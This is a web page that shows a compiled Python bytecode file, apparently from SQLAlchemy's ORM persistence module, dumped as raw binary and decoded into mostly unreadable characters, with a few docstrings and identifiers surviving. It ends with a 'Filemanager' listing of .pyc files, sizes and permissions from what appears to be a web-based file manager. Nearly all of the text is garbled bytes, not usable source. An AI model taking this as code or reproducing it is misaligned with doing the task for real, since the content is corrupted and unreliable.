r)r'|jjj|||�|r1|r/|j+|D�cgc]}|jr||vr|��c}�|rO|j-|j.|D�cgc])}||jvr|j|j"��+c}�|j0|D]*\}}t3j4|||||||j6��,ycc}wcc}w)z�Expire attributes in need of newly persisted database state,
    after an INSERT or UPDATE statement has proceeded for that
    state.N)r�rUrVrW�effective_returningr>r�rArWrXrOrYrr�isinsertr�r�rXr&r�r�rGrFrer�rr�r�)rr1r7rr4r'r�r��isupdater�rZr[�returning_colsrYr\�row�	row_valuer�r�r��pkeyr�r�s                       rr�r�\s��� �N�N�+�+�4�4�M��^�^�,�,�6�6�N��^�^�,�,�@�@�N�	���)��!�!�V�%:�%:�5�%A�A��]�+�v�/D�/D�.E�E�
���-�-�6�6�D�D�E�M��������?�"%�c�>�":��	�3��?�?�v�~�~�'>�'>���/�/�3�3�C�8���&/�E�$�(�(�O�$�&�-�-�d�h�h�7�#;� ���5�5�F�?�q�F�$<�$<�<��+�+�A�.�2�2�D�!����-�E�$�K��!�!�%�%�d�D�1���%�%�d�+�������%�%�3�3��>�>�	
��L�	���(�
�'�C��?�?�s�.�'@��'�
�	
��
� � ��J�J�(�
�'�A���0�0�0��(�(��+�/�/�'�
�	
�#�4�4�U�;���=��
�
��
��
����"�"�	
�<��)
��
s�K�.K
c�`�|j|D]\}}tj|||��yr=)r�r�bulk_populate_inherit_keys)rr4r7r�r�s     rrr�s.��"�4�4�U�;���=��'�'��q�-�@�<r:c#�DK�|jjr|jj}n|jj|�}d}t	||�D]C}|r|||j��}|jj}||j|f���Ey�w)z�Return an iterator of (state, state.dict, mapper, connection).

    The states are sorted according to _sort_states, then paired
    with the connection they should be using for the given
    unit of work transaction.

    N)	r]�connection_callable�transactionrr#�objr�rre)r/r1r0rhrrrs       rrVrV�s��������1�1�,�4�4�H�H��#�/�/�:�:�;�G�
�"���k�6�2���,�[�%�)�)�+�F�J����%�%���U�Z�Z���3�3�
3�s�BB c�F�t|�}|D�chc]}|j��|��}}|j|�	t||j��}t|tjd���|zScc}w#t
$r}t
jd|z�|�d}~wwxYw)N)rXz^Could not sort objects by primary key; primary key values must be sortable in Python (was: %s)�insert_order)
rxrX�difference_update�sorted�_persistent_sortkey_fn�	TypeErrorr�r��operator�
attrgetter)rr0�pending�s�
persistent�persistent_sorted�errs       rr#r#�s����&�k�G�$�:�W�����(9�!�W�J�:����j�)��"��F�9�9�
��	�w�H�/�/��?�@�
�	���;�����(�(�
:�<?�
@�
��	���s!�A4�A4�A9�9	B �B�B )F)0�__doc__�
__future__r�	itertoolsrrrrq�rr	r�r
r�baserr�rrr�enginerr r�sql.elementsr�sql.selectablerr$rFrTr%rBrHr*r+rCrMr,r-rDrNr.r2r�rrVr#rr:r�<module>r�s����#���!�����������&��,�;�P�f*
�Z(@�VM
�`	H�D�6
����b
�T
���N�b3@�l#!�Z���g�b���A!�H
s�l`�FH�V/
�dg
�TA�
4�4r:

Filemanager

Name Type Size Permission Actions
__init__.cpython-312.pyc File 6.17 KB 0644
_orm_constructors.cpython-312.pyc File 102.92 KB 0644
_typing.cpython-312.pyc File 6.63 KB 0644
attributes.cpython-312.pyc File 97.49 KB 0644
base.cpython-312.pyc File 29.62 KB 0644
bulk_persistence.cpython-312.pyc File 62.89 KB 0644
clsregistry.cpython-312.pyc File 23.2 KB 0644
collections.cpython-312.pyc File 60.26 KB 0644
context.cpython-312.pyc File 100.73 KB 0644
decl_api.cpython-312.pyc File 65.77 KB 0644
decl_base.cpython-312.pyc File 67.21 KB 0644
dependency.cpython-312.pyc File 42.09 KB 0644
descriptor_props.cpython-312.pyc File 47.72 KB 0644
dynamic.cpython-312.pyc File 12.62 KB 0644
evaluator.cpython-312.pyc File 16.33 KB 0644
events.cpython-312.pyc File 133.89 KB 0644
exc.cpython-312.pyc File 9.6 KB 0644
identity.cpython-312.pyc File 12.3 KB 0644
instrumentation.cpython-312.pyc File 30.45 KB 0644
interfaces.cpython-312.pyc File 52.97 KB 0644
loading.cpython-312.pyc File 45.74 KB 0644
mapped_collection.cpython-312.pyc File 21.35 KB 0644
mapper.cpython-312.pyc File 164.73 KB 0644
path_registry.cpython-312.pyc File 30.74 KB 0644
persistence.cpython-312.pyc File 47.09 KB 0644
properties.cpython-312.pyc File 31.98 KB 0644
query.cpython-312.pyc File 125.64 KB 0644
relationships.cpython-312.pyc File 127.34 KB 0644
scoping.cpython-312.pyc File 81.62 KB 0644
session.cpython-312.pyc File 198.53 KB 0644
state.cpython-312.pyc File 44.03 KB 0644
state_changes.cpython-312.pyc File 6.84 KB 0644
strategies.cpython-312.pyc File 102.61 KB 0644
strategy_options.cpython-312.pyc File 84.69 KB 0644
sync.cpython-312.pyc File 6.4 KB 0644
unitofwork.cpython-312.pyc File 33.21 KB 0644
util.cpython-312.pyc File 82.97 KB 0644
writeonly.cpython-312.pyc File 28.11 KB 0644